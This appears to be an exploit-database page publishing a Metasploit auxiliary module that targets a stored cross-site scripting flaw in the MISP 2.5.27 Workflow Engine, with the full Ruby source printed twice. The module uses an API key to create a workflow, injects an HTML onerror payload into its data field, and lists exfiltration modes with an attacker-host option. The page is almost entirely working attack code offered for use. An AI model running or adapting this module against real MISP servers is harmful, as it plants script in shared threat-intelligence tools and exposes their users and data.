Description
This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields...
Basic Information
ID
PACKETSTORM:219772
Published
Apr 24, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.misp-project.org/2025/11/27/misp.2.5.27.released.html/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine.
It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MISP Workflow Engine Stored Cross-Site Scripting',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('API_KEY', [true, 'API key', '']),
OptEnum.new('PAYLOAD_MODE', [true, 'Mode',
'alert', ['alert','alert_info','console','console_info','exfiltrate_users','exfiltrate_page','exfiltrate_events']
]),
OptString.new('ATTACKER_HOST', [false, 'host:port', '127.0.0.1:8000']),
OptInt.new('EXFIL_LIMIT', [true, 'limit', 20]),
OptString.new('CUSTOM_PAYLOAD', [false, 'custom', '']),
OptBool.new('VERIFY_SSL', [true, 'SSL verify', false])
])
end
def setup
@base_url = normalize_uri(target_uri.to_s)
@api_key = datastore['API_KEY']
@mode = datastore['PAYLOAD_MODE']
@attacker_host = datastore['ATTACKER_HOST'].to_s
@limit = datastore['EXFIL_LIMIT'].to_i
@custom_payload = datastore['CUSTOM_PAYLOAD'].to_s
@workflow_id = nil
@trigger_id = nil
end
def run_host(ip)
print_status("Target: #{ip}:#{rport}")
return unless check_vulnerability
return unless create_workflow
return unless inject_payload
verify_payload
print_exploit_info
end
def check_vulnerability
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'servers/getVersion'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
begin
json = JSON.parse(res.body)
if json['version']
version = json['version'].to_s
if version.start_with?('2.5')
print_good("Version: #{version} (likely vulnerable)")
end
end
rescue
end
res2 = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/index'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res2
if res2.code == 200
print_good("Workflow API accessible")
return true
end
false
end
def create_workflow
name = "XSS_#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/add'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => { 'Workflow' => { 'name' => name } }.to_json,
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
json = JSON.parse(res.body) rescue nil
return false unless json
wf = json.dig('saved', 'Workflow') || json['Workflow']
return false unless wf
@workflow_id = wf['id'].to_s
@trigger_id = wf['trigger_id'].to_s
return false if @workflow_id.empty? || @trigger_id.empty?
print_good("Workflow: #{@workflow_id}")
true
end
def build_js_payload
return @custom_payload unless @custom_payload.empty?
case @mode
when 'alert'
"alert('MISP XSS');"
when 'console'
"console.log('MISP XSS');"
else
"alert('XSS');"
end
end
def build_html_payload(js)
"<img src=x onerror=\"#{js.gsub('"','\"')}\">"
end
def inject_payload
return false unless @workflow_id && @trigger_id
js = build_js_payload
html = build_html_payload(js)
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/edit/#{@workflow_id}"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'Workflow' => {
'id' => @workflow_id,
'data' => html
}
}.to_json,
'headers' => { 'Authorization' => @api_key }
})
if res && res.code == 200
print_good("Payload injected")
return true
end
false
end
def verify_payload
return unless @workflow_id
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/view/#{@workflow_id}"),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
if res.body.include?(@workflow_id)
print_good("Workflow exists (not reliable XSS proof)")
return true
end
false
end
def print_exploit_info
return unless @workflow_id
url = normalize_uri(@base_url, "workflows/view/#{@workflow_id}")
print_good("URL: #{url}")
report_note(
host: (defined?(rhost) ? rhost : nil),
port: (defined?(rport) ? rport : nil),
type: 'misp.xss',
data: { workflow_id: @workflow_id, url: url },
update: :unique_data
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.misp-project.org/2025/11/27/misp.2.5.27.released.html/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine.
It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MISP Workflow Engine Stored Cross-Site Scripting',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('API_KEY', [true, 'API key', '']),
OptEnum.new('PAYLOAD_MODE', [true, 'Mode',
'alert', ['alert','alert_info','console','console_info','exfiltrate_users','exfiltrate_page','exfiltrate_events']
]),
OptString.new('ATTACKER_HOST', [false, 'host:port', '127.0.0.1:8000']),
OptInt.new('EXFIL_LIMIT', [true, 'limit', 20]),
OptString.new('CUSTOM_PAYLOAD', [false, 'custom', '']),
OptBool.new('VERIFY_SSL', [true, 'SSL verify', false])
])
end
def setup
@base_url = normalize_uri(target_uri.to_s)
@api_key = datastore['API_KEY']
@mode = datastore['PAYLOAD_MODE']
@attacker_host = datastore['ATTACKER_HOST'].to_s
@limit = datastore['EXFIL_LIMIT'].to_i
@custom_payload = datastore['CUSTOM_PAYLOAD'].to_s
@workflow_id = nil
@trigger_id = nil
end
def run_host(ip)
print_status("Target: #{ip}:#{rport}")
return unless check_vulnerability
return unless create_workflow
return unless inject_payload
verify_payload
print_exploit_info
end
def check_vulnerability
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'servers/getVersion'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
begin
json = JSON.parse(res.body)
if json['version']
version = json['version'].to_s
if version.start_with?('2.5')
print_good("Version: #{version} (likely vulnerable)")
end
end
rescue
end
res2 = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/index'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res2
if res2.code == 200
print_good("Workflow API accessible")
return true
end
false
end
def create_workflow
name = "XSS_#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/add'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => { 'Workflow' => { 'name' => name } }.to_json,
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
json = JSON.parse(res.body) rescue nil
return false unless json
wf = json.dig('saved', 'Workflow') || json['Workflow']
return false unless wf
@workflow_id = wf['id'].to_s
@trigger_id = wf['trigger_id'].to_s
return false if @workflow_id.empty? || @trigger_id.empty?
print_good("Workflow: #{@workflow_id}")
true
end
def build_js_payload
return @custom_payload unless @custom_payload.empty?
case @mode
when 'alert'
"alert('MISP XSS');"
when 'console'
"console.log('MISP XSS');"
else
"alert('XSS');"
end
end
def build_html_payload(js)
"<img src=x onerror=\"#{js.gsub('"','\"')}\">"
end
def inject_payload
return false unless @workflow_id && @trigger_id
js = build_js_payload
html = build_html_payload(js)
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/edit/#{@workflow_id}"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'Workflow' => {
'id' => @workflow_id,
'data' => html
}
}.to_json,
'headers' => { 'Authorization' => @api_key }
})
if res && res.code == 200
print_good("Payload injected")
return true
end
false
end
def verify_payload
return unless @workflow_id
res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/view/#{@workflow_id}"),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})
return false unless res && res.body
if res.body.include?(@workflow_id)
print_good("Workflow exists (not reliable XSS proof)")
return true
end
false
end
def print_exploit_info
return unless @workflow_id
url = normalize_uri(@base_url, "workflows/view/#{@workflow_id}")
print_good("URL: #{url}")
report_note(
host: (defined?(rhost) ? rhost : nil),
port: (defined?(rport) ? rport : nil),
type: 'misp.xss',
data: { workflow_id: @workflow_id, url: url },
update: :unique_data
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================